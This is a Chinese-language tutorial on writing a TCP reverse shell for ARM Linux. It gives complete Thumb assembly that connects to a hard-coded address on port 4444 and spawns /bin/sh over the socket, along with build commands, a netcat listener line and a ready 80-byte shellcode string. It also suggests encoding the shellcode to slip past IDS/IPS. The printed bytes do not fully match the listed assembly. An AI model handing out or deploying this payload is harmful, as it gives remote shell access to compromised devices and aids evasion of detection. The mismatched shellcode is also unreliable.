用ARM编写TCP反向Shell
字数 1187 2025-08-05 11:39:26
ARM架构TCP反向Shell编写教程
1. 反向Shell概述
反向Shell是一种让目标系统主动连接到攻击者控制的服务器的技术,与绑定Shell(Bind Shell)相反。反向Shell的优势在于:
- 绕过防火墙限制(通常防火墙允许出站连接而限制入站连接)
- 适用于内部网络渗透测试
- 更隐蔽,因为连接由目标系统发起
2. 所需系统调用及参数
实现TCP反向Shell需要以下系统调用:
| 函数 | ARM系统调用号 | 参数说明 |
|---|---|---|
| socket | 281 | R0: 地址族(AF_INET=2), R1: 套接字类型(SOCK_STREAM=1), R2: 协议(IPPROTO_IP=0) |
| connect | 283 | R0: 套接字描述符, R1: 指向sockaddr结构体指针, R2: 结构体长度(16) |
| dup2 | 63 | R0: 旧文件描述符, R1: 新文件描述符(0=stdin,1=stdout,2=stderr) |
| execve | 11 | R0: 指向"/bin/sh"字符串指针, R1: argv参数(0), R2: envp参数(0) |
3. ARM汇编实现步骤
3.1 切换到Thumb模式
为了减少空字节(null bytes)的出现,首先切换到Thumb模式(16位指令):
.section .text
.global _start
_start:
.ARM
add r3, pc, #1 // 下一条指令地址加1
bx r3 // 分支交换,切换到Thumb模式
.THUMB
3.2 创建套接字
// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
mov r0, #2 // AF_INET = 2
mov r1, #1 // SOCK_STREAM = 1
sub r2, r2 // IPPROTO_IP = 0
mov r7, #200 // 准备系统调用号
add r7, #81 // 200+81=281 (socket)
svc #1 // 执行系统调用
mov r4, r0 // 保存返回的sockfd到r4
3.3 连接到攻击者
// connect(sockfd, &sockaddr, 16)
adr r1, struct // 获取sockaddr结构体地址
strb r2, [r1, #1] // 将AF_INET后的0xff替换为0
mov r2, #16 // sockaddr结构体长度
add r7, #2 // 281+2=283 (connect)
svc #1 // 执行系统调用
3.4 重定向标准I/O
// dup2(sockfd, 0) - stdin
mov r7, #63 // dup2系统调用号
mov r0, r4 // sockfd
sub r1, r1 // 0 (stdin)
svc #1
// dup2(sockfd, 1) - stdout
mov r0, r4 // sockfd
add r1, #1 // 1 (stdout)
svc #1
// dup2(sockfd, 2) - stderr
mov r0, r4 // sockfd
add r1, #1 // 2 (stderr)
svc #1
3.5 执行Shell
// execve("/bin/sh", 0, 0)
adr r0, binsh // "/bin/sh"字符串地址
sub r2, r2 // envp = 0
sub r1, r1 // argv = 0
strb r2, [r0, #7] // 替换字符串末尾的'X'为0
mov r7, #11 // execve系统调用号
svc #1
3.6 数据结构定义
struct:
.ascii "\x02\xff" // AF_INET (0xff将被替换为0)
.ascii "\x11\x5c" // 端口号4444 (网络字节序)
.byte 192,168,139,130 // IP地址
binsh:
.ascii "/bin/shX" // Shell路径 (X将被替换为0)
4. 完整代码
.section .text
.global _start
_start:
.ARM
add r3, pc, #1
bx r3
.THUMB
// socket(2, 1, 0)
mov r0, #2
mov r1, #1
sub r2, r2
mov r7, #200
add r7, #81
svc #1
mov r4, r0
// connect(r0, &sockaddr, 16)
adr r1, struct
strb r2, [r1, #1]
mov r2, #16
add r7, #2
svc #1
// dup2(sockfd, 0)
mov r7, #63
mov r0, r4
sub r1, r1
svc #1
// dup2(sockfd, 1)
mov r0, r4
add r1, #1
svc #1
// dup2(sockfd, 2)
mov r0, r4
add r1, #1
svc #1
// execve("/bin/sh", 0, 0)
adr r0, binsh
sub r2, r2
sub r1, r1
strb r2, [r0, #7]
mov r7, #11
svc #1
struct:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 192,168,139,130
binsh:
.ascii "/bin/shX"
5. 编译与测试
5.1 编译步骤
as reverse_shell.s -o reverse_shell.o
ld -N reverse_shell.o -o reverse_shell
-N标志使代码段可写,这是必要的因为我们使用了strb指令修改代码段。
5.2 测试方法
-
在攻击者机器上启动监听:
nc -lvp 4444 -
在目标设备上运行编译好的程序:
./reverse_shell -
成功连接后即可执行命令。
5.3 生成Shellcode
objcopy -O binary reverse_shell reverse_shell.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' reverse_shell.bin
生成的Shellcode(80字节):
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x52\x40\x49\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x8b\x82\x2f\x62\x69\x6e\x2f\x73\x68\x58
6. 优化方向
- 减少Shellcode大小:通过优化指令序列,可以进一步缩短Shellcode长度
- IP和端口配置:使IP地址和端口号更容易修改
- 空字节消除:确保Shellcode中没有空字节,便于注入漏洞利用
- 编码技术:使用编码技术绕过IDS/IPS检测
7. 注意事项
- 本教程适用于ARMv6架构(如Raspberry Pi 1和Zero)
- 对于ARMv7+可以使用
movw指令简化立即数加载 - 实际渗透测试中需获得合法授权
- 修改IP和端口时注意网络字节序
通过本教程,您应该掌握了ARM架构下TCP反向Shell的基本原理和实现方法。建议进一步研究Shellcode优化技术和防御方法,以全面了解这一领域。